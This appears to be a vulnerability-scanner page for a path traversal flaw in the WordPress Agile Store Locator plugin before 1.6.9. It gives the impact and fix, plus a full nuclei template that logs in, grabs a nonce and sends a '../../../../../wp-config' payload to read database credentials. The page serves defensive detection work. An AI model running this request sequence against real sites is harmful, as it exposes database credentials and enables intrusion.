WordPress Agile Store Locator < 1.6.9 - Arbitrary File Read

lowseverity

3.4CVSS score

0.5%likelihood of exploitation, next 30 days

42%of all CVEs are less likely

Readycheck to confirm it

The Agile Store Locator WordPress plugin before 1.6.9 does not validate a parameter before using it in a file path, allowing high-privileged users such as administrators to read arbitrary .php files from the server.

Impact

Authenticated attackers can disclose local files, including configuration files that contain database credentials and authentication keys.

Fix

Update to version 1.6.9 or later.

How to confirm it

Send: POST /wp-login.php
Positive when: status_code == 302 and contains(header, "wordpress_logged_in")
Send: GET /wp-admin/admin.php?page=asl-settings
Send: POST /wp-admin/admin-ajax.php
Positive when: status_code == 200 and contains(content_type, "application/json") and contains_all(body, "DB_NAME", "DB_PASSWORD")

Run it with nuclei: nuclei -id CVE-2026-9062 -u <target>

The full check

id: CVE-2026-9062

info:
  name: WordPress Agile Store Locator < 1.6.9 - Arbitrary File Read
  author: anirbala98
  severity: low
  description: |
    The Agile Store Locator WordPress plugin before 1.6.9 does not validate a parameter before using it in a file path, allowing high-privileged users such as administrators to read arbitrary .php files from the server.
  impact: |
    Authenticated attackers can disclose local files, including configuration files that contain database credentials and authentication keys.
  remediation: |
    Update to version 1.6.9 or later.
  reference:
    - https://wpscan.com/vulnerability/14014b6b-ce49-4778-822c-026ecafa1772/
    - https://wordpress.org/plugins/agile-store-locator/
    - https://nvd.nist.gov/vuln/detail/CVE-2026-9062
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:N/A:N
    cvss-score: 3.4
    cve-id: CVE-2026-9062
    epss-score: 0.00486
    epss-percentile: 0.42205
    cwe-id: CWE-22
  metadata:
    verified: true
    max-request: 3
    vendor: agile-logix
    product: agile-store-locator
    framework: wordpress
    fofa-query: body="/wp-content/plugins/agile-store-locator/"
  tags: cve,cve2026,wordpress,wp,wp-plugin,lfi,traversal,authentication,agile-store-locator

flow: http(1) && http(2) && http(3)

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In

    matchers:
      - type: dsl
        dsl:
          - status_code == 302
          - contains(header, "wordpress_logged_in")
        condition: and
        internal: true

  - raw:
      - |
        GET /wp-admin/admin.php?page=asl-settings HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        name: nonce
        part: body
        group: 1
        regex:
          - 'ASL_REMOTE = \{[^}]*"nounce":"([a-f0-9]+)"'
        internal: true

  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=asl_ajax_handler&sl-action=reset_custom_template&asl-nounce={{nonce}}&template=cards-templates&section=../../../../../wp-config

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "application/json")'
          - 'contains_all(body, "DB_NAME", "DB_PASSWORD")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from